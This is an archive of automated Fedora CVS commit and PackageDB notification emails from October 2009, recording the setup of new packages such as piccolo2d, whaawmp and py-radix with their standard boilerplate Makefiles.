From kevin at fedoraproject.org  Tue Oct 13 16:26:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:26:21 +0000 (UTC)
Subject: rpms/sil-padauk-fonts/devel - New directory
Message-ID: <20091013162621.3628611C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-padauk-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsu21495/rpms/sil-padauk-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/sil-padauk-fonts/devel added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:26:28 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:26:28 +0000 (UTC)
Subject: rpms/sil-padauk-fonts Makefile,NONE,1.1
Message-ID: <20091013162628.3A3EC11C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-padauk-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsu21495/rpms/sil-padauk-fonts

Added Files:
	Makefile 
Log Message:
Setup of module sil-padauk-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module sil-padauk-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct 13 16:26:28 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:26:28 +0000 (UTC)
Subject: rpms/sil-padauk-fonts/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091013162628.7550F11C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sil-padauk-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsu21495/rpms/sil-padauk-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sil-padauk-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sil-padauk-fonts
# $Id: Makefile,v 1.1 2009/10/13 16:26:28 kevin Exp $
NAME := sil-padauk-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct 13 16:28:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:28:30 +0000
Subject: [pkgdb] piccolo2d was added for akurtakov
Message-ID: <20091013162830.9098E10F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package piccolo2d with summary Structured 2D graphics toolkit
kevin has approved Package piccolo2d
kevin has added a Fedora devel branch for piccolo2d with an owner of akurtakov
kevin has approved piccolo2d in Fedora devel
kevin has approved Package piccolo2d
kevin has set commit to Approved for 107427 on piccolo2d (Fedora devel)
kevin has set checkout to Approved for 107427 on piccolo2d (Fedora devel)
kevin has set build to Approved for 107427 on piccolo2d (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/piccolo2d



From pkgdb at fedoraproject.org  Tue Oct 13 16:28:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:28:31 +0000
Subject: [pkgdb] piccolo2d summary updated by kevin
Message-ID: <20091013162831.9EE9510F88B@bastion2.fedora.phx.redhat.com>

kevin set package piccolo2d summary to Structured 2D graphics toolkit

To make changes to this package see:
  /pkgdb/packages/name/piccolo2d



From pkgdb at fedoraproject.org  Tue Oct 13 16:28:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:28:31 +0000
Subject: [pkgdb] piccolo2d (Fedora, 12) updated by kevin
Message-ID: <20091013162831.AC6F710F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for piccolo2d
kevin has set commit to Approved for 107427 on piccolo2d (Fedora 12)
kevin has set checkout to Approved for 107427 on piccolo2d (Fedora 12)
kevin has set build to Approved for 107427 on piccolo2d (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/piccolo2d



From kevin at fedoraproject.org  Tue Oct 13 16:28:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:28:43 +0000 (UTC)
Subject: rpms/piccolo2d - New directory
Message-ID: <20091013162843.1548211C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/piccolo2d
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM22111/rpms/piccolo2d

Log Message:
Directory /cvs/pkgs/rpms/piccolo2d added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:28:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:28:43 +0000 (UTC)
Subject: rpms/piccolo2d/devel - New directory
Message-ID: <20091013162843.3AD5311C00EB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/piccolo2d/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM22111/rpms/piccolo2d/devel

Log Message:
Directory /cvs/pkgs/rpms/piccolo2d/devel added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:28:50 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:28:50 +0000 (UTC)
Subject: rpms/piccolo2d Makefile,NONE,1.1
Message-ID: <20091013162850.44BE811C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/piccolo2d
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM22111/rpms/piccolo2d

Added Files:
	Makefile 
Log Message:
Setup of module piccolo2d


--- NEW FILE Makefile ---
# Top level Makefile for module piccolo2d
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct 13 16:28:50 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:28:50 +0000 (UTC)
Subject: rpms/piccolo2d/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091013162850.7128911C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/piccolo2d/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsM22111/rpms/piccolo2d/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module piccolo2d


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: piccolo2d
# $Id: Makefile,v 1.1 2009/10/13 16:28:50 kevin Exp $
NAME := piccolo2d
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct 13 16:29:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:29:24 +0000
Subject: [pkgdb] whaawmp summary updated by kevin
Message-ID: <20091013162924.8315010F88B@bastion2.fedora.phx.redhat.com>

kevin set package whaawmp summary to Lightweight Media Player

To make changes to this package see:
  /pkgdb/packages/name/whaawmp



From pkgdb at fedoraproject.org  Tue Oct 13 16:29:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:29:23 +0000
Subject: [pkgdb] whaawmp was added for cwickert
Message-ID: <20091013162923.275D210F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package whaawmp with summary Lightweight Media Player
kevin has approved Package whaawmp
kevin has added a Fedora devel branch for whaawmp with an owner of cwickert
kevin has approved whaawmp in Fedora devel
kevin has approved Package whaawmp
kevin has set commit to Approved for 107427 on whaawmp (Fedora devel)
kevin has set checkout to Approved for 107427 on whaawmp (Fedora devel)
kevin has set build to Approved for 107427 on whaawmp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/whaawmp



From pkgdb at fedoraproject.org  Tue Oct 13 16:29:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:29:24 +0000
Subject: [pkgdb] whaawmp (Fedora, 10) updated by kevin
Message-ID: <20091013162924.894C410F8A8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for whaawmp
kevin has set commit to Approved for 107427 on whaawmp (Fedora 11)
kevin has set checkout to Approved for 107427 on whaawmp (Fedora 11)
kevin has set build to Approved for 107427 on whaawmp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/whaawmp



From pkgdb at fedoraproject.org  Tue Oct 13 16:29:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:29:24 +0000
Subject: [pkgdb] whaawmp (Fedora, 10) updated by kevin
Message-ID: <20091013162924.945F510F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for whaawmp
kevin has set commit to Approved for 107427 on whaawmp (Fedora 12)
kevin has set checkout to Approved for 107427 on whaawmp (Fedora 12)
kevin has set build to Approved for 107427 on whaawmp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/whaawmp



From pkgdb at fedoraproject.org  Tue Oct 13 16:29:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:29:24 +0000
Subject: [pkgdb] whaawmp (Fedora, 10) updated by kevin
Message-ID: <20091013162924.A262510F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for whaawmp
kevin has set commit to Approved for 107427 on whaawmp (Fedora 10)
kevin has set checkout to Approved for 107427 on whaawmp (Fedora 10)
kevin has set build to Approved for 107427 on whaawmp (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/whaawmp



From kevin at fedoraproject.org  Tue Oct 13 16:29:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:29:31 +0000 (UTC)
Subject: rpms/whaawmp - New directory
Message-ID: <20091013162931.13EA311C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/whaawmp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsw22397/rpms/whaawmp

Log Message:
Directory /cvs/pkgs/rpms/whaawmp added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:29:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:29:31 +0000 (UTC)
Subject: rpms/whaawmp/devel - New directory
Message-ID: <20091013162931.399CE11C0296@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/whaawmp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsw22397/rpms/whaawmp/devel

Log Message:
Directory /cvs/pkgs/rpms/whaawmp/devel added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:29:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:29:38 +0000 (UTC)
Subject: rpms/whaawmp Makefile,NONE,1.1
Message-ID: <20091013162938.B24A511C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/whaawmp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsw22397/rpms/whaawmp

Added Files:
	Makefile 
Log Message:
Setup of module whaawmp


--- NEW FILE Makefile ---
# Top level Makefile for module whaawmp
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct 13 16:29:39 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:29:39 +0000 (UTC)
Subject: rpms/whaawmp/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091013162939.1F8E811C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/whaawmp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsw22397/rpms/whaawmp/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module whaawmp


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: whaawmp
# $Id: Makefile,v 1.1 2009/10/13 16:29:38 kevin Exp $
NAME := whaawmp
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct 13 16:30:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:30:26 +0000
Subject: [pkgdb] xfce4-stopwatch-plugin was added for cwickert
Message-ID: <20091013163026.D3ED210F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package xfce4-stopwatch-plugin with summary Stopwatch plugin for the Xfce panel
kevin has approved Package xfce4-stopwatch-plugin
kevin has added a Fedora devel branch for xfce4-stopwatch-plugin with an owner of cwickert
kevin has approved xfce4-stopwatch-plugin in Fedora devel
kevin has approved Package xfce4-stopwatch-plugin
kevin has set commit to Approved for 107427 on xfce4-stopwatch-plugin (Fedora devel)
kevin has set checkout to Approved for 107427 on xfce4-stopwatch-plugin (Fedora devel)
kevin has set build to Approved for 107427 on xfce4-stopwatch-plugin (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/xfce4-stopwatch-plugin



From pkgdb at fedoraproject.org  Tue Oct 13 16:30:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:30:28 +0000
Subject: [pkgdb] xfce4-stopwatch-plugin summary updated by kevin
Message-ID: <20091013163028.90A8110F8A3@bastion2.fedora.phx.redhat.com>

kevin set package xfce4-stopwatch-plugin summary to Stopwatch plugin for the Xfce panel

To make changes to this package see:
  /pkgdb/packages/name/xfce4-stopwatch-plugin



From pkgdb at fedoraproject.org  Tue Oct 13 16:30:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:30:28 +0000
Subject: [pkgdb] xfce4-stopwatch-plugin (Fedora, 10) updated by kevin
Message-ID: <20091013163028.9B28510F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for xfce4-stopwatch-plugin
kevin has set commit to Approved for 107427 on xfce4-stopwatch-plugin (Fedora 11)
kevin has set checkout to Approved for 107427 on xfce4-stopwatch-plugin (Fedora 11)
kevin has set build to Approved for 107427 on xfce4-stopwatch-plugin (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/xfce4-stopwatch-plugin



From pkgdb at fedoraproject.org  Tue Oct 13 16:30:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:30:28 +0000
Subject: [pkgdb] xfce4-stopwatch-plugin (Fedora, 10) updated by kevin
Message-ID: <20091013163028.AAB9510F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for xfce4-stopwatch-plugin
kevin has set commit to Approved for 107427 on xfce4-stopwatch-plugin (Fedora 12)
kevin has set checkout to Approved for 107427 on xfce4-stopwatch-plugin (Fedora 12)
kevin has set build to Approved for 107427 on xfce4-stopwatch-plugin (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/xfce4-stopwatch-plugin



From pkgdb at fedoraproject.org  Tue Oct 13 16:30:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:30:28 +0000
Subject: [pkgdb] xfce4-stopwatch-plugin (Fedora, 10) updated by kevin
Message-ID: <20091013163028.B146C10F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for xfce4-stopwatch-plugin
kevin has set commit to Approved for 107427 on xfce4-stopwatch-plugin (Fedora 10)
kevin has set checkout to Approved for 107427 on xfce4-stopwatch-plugin (Fedora 10)
kevin has set build to Approved for 107427 on xfce4-stopwatch-plugin (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/xfce4-stopwatch-plugin



From kevin at fedoraproject.org  Tue Oct 13 16:30:36 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:30:36 +0000 (UTC)
Subject: rpms/xfce4-stopwatch-plugin - New directory
Message-ID: <20091013163036.158A411C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/xfce4-stopwatch-plugin
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh22809/rpms/xfce4-stopwatch-plugin

Log Message:
Directory /cvs/pkgs/rpms/xfce4-stopwatch-plugin added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:30:36 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:30:36 +0000 (UTC)
Subject: rpms/xfce4-stopwatch-plugin/devel - New directory
Message-ID: <20091013163036.3455D11C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/xfce4-stopwatch-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh22809/rpms/xfce4-stopwatch-plugin/devel

Log Message:
Directory /cvs/pkgs/rpms/xfce4-stopwatch-plugin/devel added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:30:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:30:43 +0000 (UTC)
Subject: rpms/xfce4-stopwatch-plugin Makefile,NONE,1.1
Message-ID: <20091013163043.9062011C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/xfce4-stopwatch-plugin
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh22809/rpms/xfce4-stopwatch-plugin

Added Files:
	Makefile 
Log Message:
Setup of module xfce4-stopwatch-plugin


--- NEW FILE Makefile ---
# Top level Makefile for module xfce4-stopwatch-plugin
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct 13 16:30:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:30:43 +0000 (UTC)
Subject: rpms/xfce4-stopwatch-plugin/devel .cvsignore, NONE, 1.1 Makefile,
	NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091013163043.C94D111C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/xfce4-stopwatch-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsh22809/rpms/xfce4-stopwatch-plugin/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module xfce4-stopwatch-plugin


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: xfce4-stopwatch-plugin
# $Id: Makefile,v 1.1 2009/10/13 16:30:43 kevin Exp $
NAME := xfce4-stopwatch-plugin
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct 13 16:31:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:31:26 +0000
Subject: [pkgdb] py-radix was added for mdomsch
Message-ID: <20091013163126.F18EE10F875@bastion2.fedora.phx.redhat.com>

kevin has added Package py-radix with summary Radix tree data structure for Python
kevin has approved Package py-radix
kevin has added a Fedora devel branch for py-radix with an owner of mdomsch
kevin has approved py-radix in Fedora devel
kevin has approved Package py-radix
kevin has set commit to Approved for 107427 on py-radix (Fedora devel)
kevin has set checkout to Approved for 107427 on py-radix (Fedora devel)
kevin has set build to Approved for 107427 on py-radix (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/py-radix



From pkgdb at fedoraproject.org  Tue Oct 13 16:31:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:31:30 +0000
Subject: [pkgdb] py-radix summary updated by kevin
Message-ID: <20091013163130.495A610F889@bastion2.fedora.phx.redhat.com>

kevin set package py-radix summary to Radix tree data structure for Python

To make changes to this package see:
  /pkgdb/packages/name/py-radix



From pkgdb at fedoraproject.org  Tue Oct 13 16:31:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:31:30 +0000
Subject: [pkgdb] py-radix (Fedora EPEL, 4) updated by kevin
Message-ID: <20091013163130.5BF2810F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for py-radix
kevin has set commit to Approved for 107427 on py-radix (Fedora 10)
kevin has set checkout to Approved for 107427 on py-radix (Fedora 10)
kevin has set build to Approved for 107427 on py-radix (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/py-radix



From pkgdb at fedoraproject.org  Tue Oct 13 16:31:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:31:30 +0000
Subject: [pkgdb] py-radix (Fedora EPEL, 4) updated by kevin
Message-ID: <20091013163130.64D9A10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for py-radix
kevin has set commit to Approved for 107427 on py-radix (Fedora 11)
kevin has set checkout to Approved for 107427 on py-radix (Fedora 11)
kevin has set build to Approved for 107427 on py-radix (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/py-radix



From pkgdb at fedoraproject.org  Tue Oct 13 16:31:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:31:30 +0000
Subject: [pkgdb] py-radix (Fedora EPEL, 4) updated by kevin
Message-ID: <20091013163130.8353310F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for py-radix
kevin has set commit to Approved for 107427 on py-radix (Fedora 12)
kevin has set checkout to Approved for 107427 on py-radix (Fedora 12)
kevin has set build to Approved for 107427 on py-radix (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/py-radix



From pkgdb at fedoraproject.org  Tue Oct 13 16:31:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:31:30 +0000
Subject: [pkgdb] py-radix (Fedora EPEL, 4) updated by kevin
Message-ID: <20091013163130.D0CEA10F8B6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for py-radix
kevin has set commit to Approved for 107427 on py-radix (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on py-radix (Fedora EPEL 4)
kevin has set build to Approved for 107427 on py-radix (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/py-radix



From pkgdb at fedoraproject.org  Tue Oct 13 16:31:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 13 Oct 2009 16:31:30 +0000
Subject: [pkgdb] py-radix (Fedora EPEL, 4) updated by kevin
Message-ID: <20091013163130.B53C910F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for py-radix
kevin has set commit to Approved for 107427 on py-radix (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on py-radix (Fedora EPEL 5)
kevin has set build to Approved for 107427 on py-radix (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/py-radix



From kevin at fedoraproject.org  Tue Oct 13 16:31:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:31:38 +0000 (UTC)
Subject: rpms/py-radix - New directory
Message-ID: <20091013163138.16B5811C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/py-radix
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf23247/rpms/py-radix

Log Message:
Directory /cvs/pkgs/rpms/py-radix added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:31:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:31:38 +0000 (UTC)
Subject: rpms/py-radix/devel - New directory
Message-ID: <20091013163138.3615811C0268@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/py-radix/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf23247/rpms/py-radix/devel

Log Message:
Directory /cvs/pkgs/rpms/py-radix/devel added to the repository




From kevin at fedoraproject.org  Tue Oct 13 16:31:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:31:45 +0000 (UTC)
Subject: rpms/py-radix Makefile,NONE,1.1
Message-ID: <20091013163145.0B42C11C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/py-radix
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf23247/rpms/py-radix

Added Files:
	Makefile 
Log Message:
Setup of module py-radix


--- NEW FILE Makefile ---
# Top level Makefile for module py-radix
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct 13 16:31:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue, 13 Oct 2009 16:31:45 +0000 (UTC)
Subject: rpms/py-radix/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091013163145.4CA1711C00E8@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/py-radix/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsf23247/rpms/py-radix/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module py-radix


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: py-radix
# $Id: Makefile,v 1.1 2009/10/13 16:31:45 kevin Exp $
NAME := py-radix
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
